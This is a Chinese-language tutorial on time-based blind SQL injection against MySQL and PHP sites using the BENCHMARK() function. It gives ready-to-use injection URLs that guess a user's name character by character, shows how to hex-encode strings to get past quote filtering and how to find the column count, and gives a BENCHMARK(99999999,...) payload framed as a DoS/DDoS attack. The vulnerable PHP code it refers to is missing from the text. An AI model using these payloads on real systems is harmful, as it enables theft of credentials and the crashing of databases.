本文的主要思路是通过在构造的语句中加入执行时间推延的函数,如果我们提交的判断是正确的,那么MYSQL查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延,这样我们就可以进行判断注射。 关于BENCHMARK 在MYSQL参考手册里可以看到如下描述: ------------------------------------------------------------------------------------------- BENCHMARK(count,expr) BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MYSQL处理表达式有多快。结果值总是0。意欲用于MYSQL客户,它报告查询的执行时间。 MYSQL> select BENCHMARK(1000000,encode("hello","goodbye")); +----------------------------------------------+ | BENCHMARK(1000000,encode("hello","goodbye")) |
+----------------------------------------------+ | 0 | +----------------------------------------------+ 1 row in set (4.74 sec) 报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器的负载有多重来解释结果。只要我们把参数Count 设置大些,那么执行的时间就会变长,下面我们看看在MYSQL里执行的效果: MYSQL> select md5( 'test' ); +----------------------------------+
| md5( 'test' ) | +----------------------------------+ | 098f6bcd4621d373cade4e832627b4f6 | +----------------------------------+ 1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec MYSQL>
select BenchMark( 500000, md5( 'test' ) ); +------------------------------------+ | BenchMark( 500000, md5( 'test' ) ) |
+------------------------------------+ | 0 | +------------------------------------+ 1 row in set (6.55 sec) 〈------------执行时间为6.55 sec 由此可以看出使用BenchMark执行500000次的时间明显比正常执行时间延长了。 实战举例首先我们看一个简单的PHP代码: ------------------------------------------------------------------------------ -------------------------------------------------------------------------------- 数据库Injection结构和内容如下: # 数据库 : `injection` # 表的结构 `article` CREATE TABLE `article` ( `articleid` int(11) NOT NULL auto_increment, `title` varchar(100) NOT NULL default '', `content` text NOT NULL, PRIMARY KEY (`articleid`) ) TYPE=MyISAM AUTO_INCREMENT=3 ;# 导出表中的数据 `article` INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', 'laalalalalalalal!yayayayayayay!');
INSERT INTO `article` VALUES (2, '
我恨死你', '我恨死你了,你是什么东西啊');
# -------------------------------------------------------- # 表的结构 `user` CREATE TABLE `user` ( `userid` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '
', PRIMARY KEY (`userid`) ) TYPE=MyISAM AUTO_INCREMENT=3 ;
# 导出表中的数据 `user` INSERT INTO `user` VALUES (1, 'angel', 'mypass'); INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置Display_errors=Off。我们这里就没办法利用Union select的替换直接输出敏感信息(这里不是说不利用Union,因为在MYSQL中不支持子查询),或通过错误消息返回不同来判断注射了。 我们利用Union联合查询插入BenchMark函数语句来进行判断注射: id=1 union select 1,BenchMark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /* 上面语句可以猜Userid为1的用户名的第一位字母的Ascii码值是是否为97,如果是97,上面的查询将由于BenchMark作用而延时。
如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 脚本小子:大家注意,这里有一个小技巧:在BenchMark(500000,md5('test'))中使用了“'”号,这样是很危险的,因为管理员随便设置一下就可以过滤它使注射失败,我们这里Test可以是用其它进制表示,如16进制,这样更适用于普通的入侵环境。 最终构造URL如下: http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,BenchMark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/* 执行速度很慢
,得到Userid为1的用户名的第一位字母的Ascii码值是是为97。 脚本小子:我们在使用Union Select时必须知道原来语句查询表里的字段数,以往是根据错误消息来判断,在“Union select 1,1,1”里不停的增加1,如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用BenchMark()。我们这样构造语句:“Union select BenchMark(500000,md5(0x41)) 1,1”,
再慢慢增加1。当字段数正确时就会去执行BenchMark(),也就出现了延时,这样我们就可以判断字段数了。 除了上面的比较“正统”的利用方法外,还可以利用BENCHMARK进行DDOS攻击。其实思路很简单,在BENCHMARK(count,expr) 中,我们只要设置Count(执行次数)足够大的话,就可以造成DOS攻击了。换句话说,如果我们用代理或其它方式同时提交请求,那就是DDOS攻击,
数据库很快就会挂掉(不过前提还是要求可以注射)。语句可以这样构造: http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,BenchMark(99999999,md5(0x41)) 本文参考了国外的一些资料(http://www.ngssoftware.com/papers/HackproofingMYSQL.pdf),其实关于利用时间差进行注射的方法在MSSQL注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于MYSQL+PHP的一般注射(如Union的使用等等),可以参考Angel的文章《SQL Injection with MYSQL》
